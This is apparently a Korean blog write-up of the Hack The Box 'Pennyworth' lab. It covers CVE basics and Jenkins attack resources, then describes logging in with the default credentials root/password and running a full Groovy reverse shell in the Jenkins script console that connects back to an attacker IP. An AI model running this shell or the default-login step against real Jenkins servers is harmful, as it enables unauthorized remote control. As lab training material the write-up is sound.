Hack The Box/Lab

Pennyworth - CVE & Jenkins

YujinSec 2026. 5. 2. 23:35

1. 기본 개념

1) CVE = Common Vulnerabilities and Exposures

CVSS: CVE에 대한 위험도 점수. 1~10. 

CIA tria: confidentiality, integrity, availability (보안 3요소)

-> 특정 시스템 버전이 나오면, cve를 찾아보자!

 

 

임의 코드 실행 = ACE, Arbitrary Code Execution)

: 공격자가 대상 시스템에서 원하는 명령어/코드를 실행할 수 있는 능력. 

 

임의 원격 명령 실행 = Arbitrary Remote Command Execution)

: 공격자가 네트워크를 통해 대상 시스템에서 원하는 명령어를 마음대로 실행할 수 있는 취약점. 

 

2) Jenkins

: 소프트웨어 개발에서의 빌드, 테스크, 배포 등의 자동화 작업을 돕는 툴. 

- scrtpt console 관련 악용이 많음!

 

> 젠킨스 악용 정리북

https://hackviser.com/tactics/pentesting/services/jenkins#script-console-exploitation 

 

Jenkins Pentesting | Hackviser

Jenkins pentesting techniques for identifying, exploiting CI/CD servers, enumeration, attack vectors and post-exploitation insights.

hackviser.com

> 스크립트 & 툴 정리 저장소

https://github.com/gquere/pwn_jenkins

 

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Notes about attacking Jenkins servers. Contribute to gquere/pwn_jenkins development by creating an account on GitHub.

github.com

> 리버스 shell cheat sheet

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

 

PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

 

 

 

2. 문제 풀이

접속이 안 되길래 이번에도 vhost인가 했는데, 이번에는 포트 번호문제라고 함. 기본이 80이라 포트 안 적으면 80으로 가서 에러 난 것. (아래 http로 바꿔야 함)

그럼 이제 로그인 메인 페이지가 뜸. 

다른 주어진 정보가 없다면 지금 해볼 만한 건,,

1. 기본 아이디-비번 조합 시도해보기

2. dir busting 해보기 

정도 인 듯 함 당장은,,,

 

일단 기본 조합 해보자. 

id: root

passwd: password

가 됨!

 

이제 활용해볼만한 걸 찾아보니, 맨 아래 버전이 보인다. 버전은 CVE를 찾기에 좋은 요소임. 

=> BUT,, 이번 경우는 딱히 CVE가 없다 함. 

 

그럼 뭘 할 수 있을까? 이번에는 스크립트 콘솔이라는 jenkins만의 기능을 활용해 볼거다.  

(manage jenkins > 맨 아래 정도 보면 나옴)

여기 안에 groovy 스크립트를 작성할 수 있다는데, 이를 활용해 리버스 shell을 형성해볼거임. 

 

그러려면 우선 내 pc의 ip가 필요함. (내 pc에 연결해야 하니까)

ifconfig로 ㄱㄱ. 

그리고 내 pc에서 특정 포트에 대해 리스닝 상태로 셸 받으려 대기 상태 중이어야 함. 

 

그리고 치팅 시트 내용을 그대로 복붙해서 스크립트 콘솔에 넣어주면 리버스 셸 완성~

근데 아래 코드는 안 됨,,

> 수정된 코드

String host="10.10.15.217";
int port=8080;
String cmd="/bin/bash";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();

while(!s.isClosed()) {
    while(pi.available() > 0) so.write(pi.read());
    while(pe.available() > 0) so.write(pe.read());
    while(si.available() > 0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
        p.exitValue();
        break;
    } catch(Exception e) {}
}
p.destroy();
s.close();

 

연결 성공!

 

플래그 획득~

 

 

'Hack The Box > Lab' 카테고리의 다른 글

Base - swp & reverse shell 2  (0) 2026.05.04
Tactics - smb & impacket  (0) 2026.05.02
Ignition - curl  (0) 2026.05.02
Environment  (0) 2026.05.02
Bike - SSTI  (0) 2026.05.02